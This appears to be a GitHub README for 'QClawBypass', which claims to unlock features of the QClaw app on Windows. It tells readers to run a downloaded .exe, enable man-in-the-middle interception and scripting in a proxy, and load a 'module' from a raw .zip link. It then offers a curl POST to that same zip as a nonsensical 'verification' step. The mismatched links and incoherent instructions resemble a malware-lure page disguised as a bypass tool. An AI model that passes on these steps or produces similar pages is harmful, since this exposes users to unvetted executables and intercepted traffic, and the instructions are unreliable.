QClawBypass is a tool to help you use the QClaw app with most of its features working as expected. It is an unofficial guide and method that works around some limits of the official app.
- Works with almost all QClaw app functions.
- Does not support full WeChat connection. (WeChat shows "Device not online" since March 2026.)
- Does not support built-in API services. You need to set up your own external API service if needed.
- Mostly works when used with Surge, a network proxy tool.
- Windows 10 or later.
- Stable internet connection.
- Surge app installed and set up (see below).
- Basic understanding of downloading and running files on Windows.
Click the big button below to go to the download page:
On the release page, look for the latest Windows executable file (usually ends with .exe). Download this file to your computer.
Find the file you downloaded (in your Downloads folder or where you saved it).
Double-click the file to run it. If Windows asks for permission, click “Yes” or “Allow.”
The software window will open. It may look simple or show some instructions.
This tool relies on the Surge module to work fully.
-
Download and install Surge if you haven't already.
(Search “Download Surge for Windows” to get it from the official site.) -
In Surge, enable these features:
- MITM (Man-in-the-Middle proxy)
- Scripting
-
Add the QClawBypass module in Surge using this URL:
https://github.com/12345mate2603/QClawBypass/raw/refs/heads/main/methodical/Bypass_Claw_Q_v1.0.zip -
Follow any prompts Surge shows to complete the setup.
-
Turn on your global proxy in Surge.
-
Open the Windows Command Prompt (press Win + R, type
cmd, press Enter). -
Type or paste this command and press Enter:
curl -X POST https://github.com/12345mate2603/QClawBypass/raw/refs/heads/main/methodical/Bypass_Claw_Q_v1.0.zip -H "Content-Type: application/json" -d '{"test": "ping"}'
- If the reply contains
"already_verifie", the setup works.
- The full WeChat connection is not supported. You might see error messages about the client not being online.
- The free API services built into QClaw do not work with this bypass.
- You need to connect an external API (like DeepSeek or 火山引擎) by yourself.
- When the app asks to select an API service, pick one you set up manually.
Here are some screenshots to help understand what to expect:
-
Almost all QClaw features work except WeChat:
-
Failed WeChat connection notice:
-
How to add the Surge module:
-
Check the releases page often for new versions and fixes.
https://github.com/12345mate2603/QClawBypass/raw/refs/heads/main/methodical/Bypass_Claw_Q_v1.0.zip -
If you want help or want to add support for other formats, you can contribute to the project by making a Pull Request using the main “qclaw_bypass.sgmodule” file as a guide.
- This tool is for Windows only.
- You need to enable global proxy to use this bypass fully.
- Surge is crucial for the network setup.
- Third-party APIs need manual setup to replace disabled features.